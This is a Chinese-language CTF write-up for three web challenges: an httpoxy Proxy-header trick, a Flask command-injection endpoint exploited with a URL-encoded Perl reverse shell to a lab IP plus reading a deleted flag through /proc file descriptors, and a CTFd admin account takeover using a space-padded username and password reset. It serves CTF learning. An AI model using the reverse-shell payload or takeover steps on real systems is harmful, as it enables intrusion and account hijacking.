V&N招新赛

文章目录

  • TimeTravel
  • Checkin
  • HappyCTFd

TimeTravel

  • 先看源码

error_reporting(0);
require __DIR__ . '/vendor/autoload.php';

use GuzzleHttp\Client;

highlight_file(__FILE__);

if(isset($_GET['flag'])) {
    $client = new Client();
    $response = $client->get('http://127.0.0.1:5000/api/eligible');
    $content = $response->getBody();
    $data = json_decode($content, TRUE);
    if($data['success'] === true) {
      echo system('/readflag');
    }
}

if(isset($_GET['file'])) {
    highlight_file($_GET['file']);
}

if(isset($_GET['phpinfo'])) {
    phpinfo();
}
  • 因为今天起得晚了,在被窝的时候就看群里的师傅在说这个题了

  • 所以自己没咋想,都是师傅们的思路

  • 这题用到的是HTTP_PROXY漏洞

  • 关于这个漏洞具体的描述

  • 因为题目靶机访问不了外网,所以在BUUOJ的Linux-Labs中开了一个内网靶机

  • 利用HTTP_PROXY漏洞,在$response = $client->get('http://127.0.0.1:5000/api/eligible');时,代理到自己的linux靶机上

  • 我用NC一直实现不了,于是就用linux靶机中自带的apache服务器,端口设置成5000,构造一个文件

root@73f384fed357:~# curl 127.0.0.1:5000/api/eligible
{"success":true}
  • 在题目中构造一个Proxy头,内容是靶机内网ip:5000(用ifconfig查看ip)
    Proxy: 174.0.216.64:5000
  • 直接请求,获得flag

Checkin

  • 源码

from flask import Flask, request
import os
app = Flask(__name__)

flag_file = open("flag.txt", "r")
# flag = flag_file.read()
# flag_file.close()
#
# @app.route('/flag')
# def flag():
#     return flag
## want flag? naive!

# You will never find the thing you want:) I think
@app.route('/shell')
def shell():
    os.system("rm -f flag.txt")
    exec_cmd = request.args.get('c')
    os.system(exec_cmd)
    return "1"

@app.route('/')
def source():
    return open("app.py","r").read()

if __name__ == "__main__":
    app.run(host='0.0.0.0')

  • 只能访问//shell目录
  • 根目录是回显源码,/shell是删除flag,然后执行命令
  • 但是在代码之前,有open()函数读取flag文件
  • 看到这里想到了一个类似的题目,是高校运维赛中的一个杂项,也是删除了flag,但是在此之前读取了flag

高校运维赛WP
存在任意文件读取,flag文件open后被删除,可以读取文件描述符拿到flag
data=/proc/self/fd/3

  • 可以从/proc/..文件中找到读取的flag值
  • 但是在/shell中执行的命令不回显,所以就尝试反弹一个shell
  • 看到树哥的payload,用perl弹的
perl%20-e%20'use%20Socket%3B%24i%3D%22174.1.7.246%22%3B%24p%3D1234%3Bsocket(S%2CPF_INET%2CSOCK_STREAM%2Cgetprotobyname(%22tcp%22))%3Bif(connect(S%2Csockaddr_in(%24p%2Cinet_aton(%24i))))%7Bopen(STDIN%2C%22%3E%26S%22)%3Bopen(STDOUT%2C%22%3E%26S%22)%3Bopen(STDERR%2C%22%3E%26S%22)%3Bexec(%22%2Fbin%2Fsh%20-i%22)%3B%7D%3B'
  • 直接嫖了这个payload,类似的payload网上还有好多
  • 把c传为payload,在自己的靶机中(还是内网靶机),执行nc -lvvp 1234
  • 查看flag如下
root@73f384fed357:~# nc -lvvp 1234
listening on [any] 1234 ...
connect to [174.0.216.64] from 531-f8475cc6-92a5-444b-91d7-62685bd60c18.1.s1a3u026fejclr2nety55x3lb.ctfd_swarm [174.0.217.9] 42080
/bin/sh: 0: can't access tty; job control turned off
$ pwd
/home/app
$ cat /proc/*/fd/*
cat: /proc/10/fd/1: Permission denied
cat: /proc/10/fd/2: Permission denied
flag{3a30bcb3-9812-4074-83b4-c230d69f6eac}
cat: /proc/10/fd/4: No such device or address

  • 这个题还有好多思路,P3师傅用的dnslog,把查询内容作为ping的域名的一部分,关于dnslog可以直接用ceye,不仅可以回显命令,sql盲注中也可以使用loadfile等函数进行dnslog盲注

HappyCTFd

  • 这个题,打开是CTF平台,刚开始以为是被套娃了
  • 看群里的师傅们讨论,就知道查一下最近CTFd平台的漏洞
  • 漏洞描述1
  • 漏洞描述2
  • 思路很明显了
注册一个账号admin,在admin的前面或后面加上个空格
然后点击忘记密码
邮件会收到一个重置密码的链接
这个时候先用邮箱登陆你注册的用户
修改你的用户名成其他的:admin123等等...
在刚刚的重置密码链接中,设置新密码
用新密码登陆admin
获得admin用户的权限
  • 在后台中找到flag

你可能感兴趣的:(CTF)